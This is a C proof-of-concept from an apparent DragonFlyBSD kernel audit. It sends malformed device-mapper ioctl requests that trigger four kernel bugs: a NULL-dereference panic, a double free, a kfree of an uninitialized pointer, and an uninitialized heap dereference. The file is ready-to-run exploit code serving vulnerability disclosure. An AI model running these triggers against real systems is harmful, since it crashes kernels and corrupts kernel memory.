DragonFlyBSD Kernel Audit
DF-1640 / dm_poc.c
← back to finding ↓ download raw
/*
 * DF-1634 / DF-1639 / DF-1640 / DF-1642  -- DragonFlyBSD device-mapper ioctl PoCs
 *
 * Four distinct bugs reachable through the NETBSD_DM_IOCTL interface on
 * /dev/mapper/control (default perms 0640 root:operator), reproduced by an
 * operator-group user once the admin has loaded the dm KLD module
 * (kldload dm[, dm_target_crypt]).
 *
 * The PoC builds the prop_dictionary plist XML by hand (no libprop dep) so we
 * can craft the exact malformed inputs each bug requires (missing keys,
 * partial arrays). It is dispatched against the in-kernel dm ioctl handler
 * via the standard plistref transport.
 *
 * Build:  cc -o dm_poc dm_poc.c
 * Run:    ./dm_poc <case>
 *           case = 1639 | 1640 | 1642 | 1634 | create | load_zero
 *
 * Cases:
 *   create    -- create a dm device named "pocdev" (helper, no bug)
 *   load_zero -- reload a single zero target entry (helper, no bug)
 *   1639      -- DF-1639: reload with NO cmd_data key -> NULL-deref panic
 *   1640      -- DF-1640: reload with [zero(params=foo), zero(no params)]
 *                         -> double-free of stale str in M_TEMP
 *   1642      -- DF-1642: message to existing device with NO message key
 *                         -> kfree of uninitialized stack msg pointer
 *   1634      -- DF-1634: reload type=crypt with unsupported iv_mode
 *                         -> uninit heap deref in dm_target_crypt_destroy
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <dev/disk/dm/netbsd-dm.h>   /* NETBSD_DM_IOCTL + key #defines */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define DM_DEV  "/dev/mapper/control"
#define DEVNAME "pocdev"

struct plistref;

static int send_ioctl(int fd, const char *xml)
{
    struct plistref pref;
    int rc;

    pref.pref_plist = (void *)xml;
    pref.pref_len   = strlen(xml) + 1;

    rc = ioctl(fd, NETBSD_DM_IOCTL, &pref);
    return rc;
}

/* ---- XML builders (hand-rolled to allow missing/malformed keys) ------- */
/* HDR/FTR are macros so they concatenate with adjacent string literals. */
#define HDR \
    "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" \
    "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" " \
    "\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n" \
    "<plist version=\"1.0\">\n"
#define FTR "</plist>\n"

int main(int argc, char **argv)
{
    int fd, rc;
    char *buf;
    const char *cmd;

    if (argc < 2) {
        fprintf(stderr, "usage: %s <1639|1640|1642|1634|create|load_zero>\n",
                argv[0]);
        return 2;
    }
    cmd = argv[1];

    fd = open(DM_DEV, O_RDONLY);   /* 0640 root:operator -> operator opens RO */
    if (fd < 0) {
        fprintf(stderr, "open %s: %s\n", DM_DEV, strerror(errno));
        return 2;
    }

    if (strcmp(cmd, "create") == 0) {
        /* command=create with a minimal cmd_data describing a zero dev */
        const char *xml =
            HDR
            "<dict>\n"
            "  <key>command</key><string>create</string>\n"
            "  <key>version</key>\n"
            "  <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n"
            "  <key>flags</key><integer>0</integer>\n"
            "  <key>name</key><string>" DEVNAME "</string>\n"
            "  <key>cmd_data</key>\n"
            "  <array>\n"
            "    <dict>\n"
            "      <key>name</key><string>" DEVNAME "</string>\n"
            "      <key>dev</key><string>dm/" DEVNAME "</string>\n"
            "    </dict>\n"
            "  </array>\n"
            "</dict>\n" FTR;
        rc = send_ioctl(fd, xml);
        printf("create: rc=%d errno=%d (%s)\n", rc, errno, strerror(errno));
        close(fd);
        return (rc == 0) ? 0 : 1;

    } else if (strcmp(cmd, "load_zero") == 0) {
        /* reload with one zero target entry that has params -- sets up state */
        const char *xml =
            HDR
            "<dict>\n"
            "  <key>command</key><string>reload</string>\n"
            "  <key>version</key>\n"
            "  <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n"
            "  <key>flags</key><integer>1</integer>\n"
            "  <key>name</key><string>" DEVNAME "</string>\n"
            "  <key>cmd_data</key>\n"
            "  <array>\n"
            "    <dict>\n"
            "      <key>type</key><string>zero</string>\n"
            "      <key>start</key><integer>0</integer>\n"
            "      <key>length</key><integer>1000</integer>\n"
            "      <key>params</key><string></string>\n"
            "    </dict>\n"
            "  </array>\n"
            "</dict>\n" FTR;
        rc = send_ioctl(fd, xml);
        printf("load_zero: rc=%d errno=%d (%s)\n", rc, errno, strerror(errno));
        close(fd);
        return (rc == 0) ? 0 : 1;

    } else if (strcmp(cmd, "1639") == 0) {
        /* DF-1639: reload with NO cmd_data key.
         * dm_ioctl.c:707 cmd_array = prop_dictionary_get(..., "cmd_data") -> NULL
         * dm_ioctl.c:708 prop_array_iterator(NULL) -> NULL-deref panic. */
        char tmp[8192];
        snprintf(tmp, sizeof tmp,
            HDR
            "<dict>\n"
            "  <key>command</key><string>reload</string>\n"
            "  <key>version</key>\n"
            "  <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n"
            "  <key>flags</key><integer>0</integer>\n"
            "  <key>name</key><string>" DEVNAME "</string>\n"
            "</dict>\n"
            FTR);
        rc = send_ioctl(fd, tmp);
        printf("DF-1639 reload(no cmd_data): rc=%d errno=%d (%s)\n",
               rc, errno, strerror(errno));
        /* If we get here at all the bug was not hit. A panic kills the syscall
         * and we never return; the guest goes down. */
        close(fd);
        return 0;

    } else if (strcmp(cmd, "1640") == 0) {
        /* DF-1640: reload with TWO table entries. First entry has params="foo",
         * so get_cstring allocates and stores into `str`; line 791 kfree(str)
         * leaves str dangling. Second entry has NO params key, so get_cstring
         * fails and str stays dangling; line 791 kfree(str) is a DOUBLE-FREE.
         * (The first iteration's dm_table_init on `zero` ignores params because
         *  the zero target has no ->init, so the load itself returns 0.) */
        const char *xml =
            HDR
            "<dict>\n"
            "  <key>command</key><string>reload</string>\n"
            "  <key>version</key>\n"
            "  <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n"
            "  <key>flags</key><integer>1</integer>\n"
            "  <key>name</key><string>" DEVNAME "</string>\n"
            "  <key>cmd_data</key>\n"
            "  <array>\n"
            "    <dict>\n"
            "      <key>type</key><string>zero</string>\n"
            "      <key>start</key><integer>0</integer>\n"
            "      <key>length</key><integer>500</integer>\n"
            "      <key>params</key><string>AAAAAAAAAAAAAAAA</string>\n"
            "    </dict>\n"
            "    <dict>\n"
            "      <key>type</key><string>zero</string>\n"
            "      <key>start</key><integer>500</integer>\n"
            "      <key>length</key><integer>500</integer>\n"
            "    </dict>\n"
            "  </array>\n"
            "</dict>\n" FTR;
        rc = send_ioctl(fd, xml);
        printf("DF-1640 reload(double-free str): rc=%d errno=%d (%s)\n",
               rc, errno, strerror(errno));
        close(fd);
        return 0;

    } else if (strcmp(cmd, "1642") == 0) {
        /* DF-1642: command=message to existing device, sector=0, NO message key.
         * dm_ioctl.c:1006 char *msg; (uninitialized)
         * dm_ioctl.c:1028 get_cstring(... "message" ...) fails, msg stays garbage
         * dm_ioctl.c:1053 target->message(table_en, msg) -- if found, derefs garbage
         * dm_ioctl.c:1058 kfree(msg, M_TEMP) -- frees stack garbage pointer */
        const char *xml =
            HDR
            "<dict>\n"
            "  <key>command</key><string>message</string>\n"
            "  <key>version</key>\n"
            "  <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n"
            "  <key>flags</key><integer>0</integer>\n"
            "  <key>name</key><string>" DEVNAME "</string>\n"
            "  <key>sector</key><integer>0</integer>\n"
            "</dict>\n" FTR;
        rc = send_ioctl(fd, xml);
        printf("DF-1642 message(no msg key): rc=%d errno=%d (%s)\n",
               rc, errno, strerror(errno));
        close(fd);
        return 0;

    } else if (strcmp(cmd, "1634") == 0) {
        /* DF-1634: reload type=crypt with an unsupported iv_mode.
         * dm_target_crypt.c:489 priv=kmalloc(...,M_WAITOK) -- NO M_ZERO
         * :513 dm_table_init_target publishes priv into table_en->target_config
         * :530-533 iv_mode unsupported -> goto notsup -> init returns ENOTSUP
         * dm_ioctl.c:783-785 dm_table_init fails -> dm_table_destroy ->
         *   dm_target_crypt_destroy derefs:
         *     :620 dmtc_destroy_mpipe(priv) on UNINITIALIZED mpipe ->
         *       kern_mpipe.c:147 KKASSERT(free_count==total_count) panic
         *     :628 priv->status_str (garbage), :633 priv->ivgen (garbage),
         *     :637 cryptoapi_cipher_freesession(priv->crypto_session) garbage
         * Params format for crypt: <cipher>-<mode>-<ivmode> <key> <iv_off> <dev> <blk_off>
         * We use aes-cbc-BOGUS so iv_mode='BOGUS' is unsupported. */
        const char *xml =
            HDR
            "<dict>\n"
            "  <key>command</key><string>reload</string>\n"
            "  <key>version</key>\n"
            "  <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n"
            "  <key>flags</key><integer>1</integer>\n"
            "  <key>name</key><string>" DEVNAME "</string>\n"
            "  <key>cmd_data</key>\n"
            "  <array>\n"
            "    <dict>\n"
            "      <key>type</key><string>crypt</string>\n"
            "      <key>start</key><integer>0</integer>\n"
            "      <key>length</key><integer>1000</integer>\n"
            "      <key>params</key><string>aes-cbc-BOGUS 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef 0 /dev/vbd0 0</string>\n"
            "    </dict>\n"
            "  </array>\n"
            "</dict>\n" FTR;
        rc = send_ioctl(fd, xml);
        printf("DF-1634 crypt(unsupported iv_mode): rc=%d errno=%d (%s)\n",
               rc, errno, strerror(errno));
        close(fd);
        return 0;
    }

    fprintf(stderr, "unknown case %s\n", cmd);
    close(fd);
    return 2;
}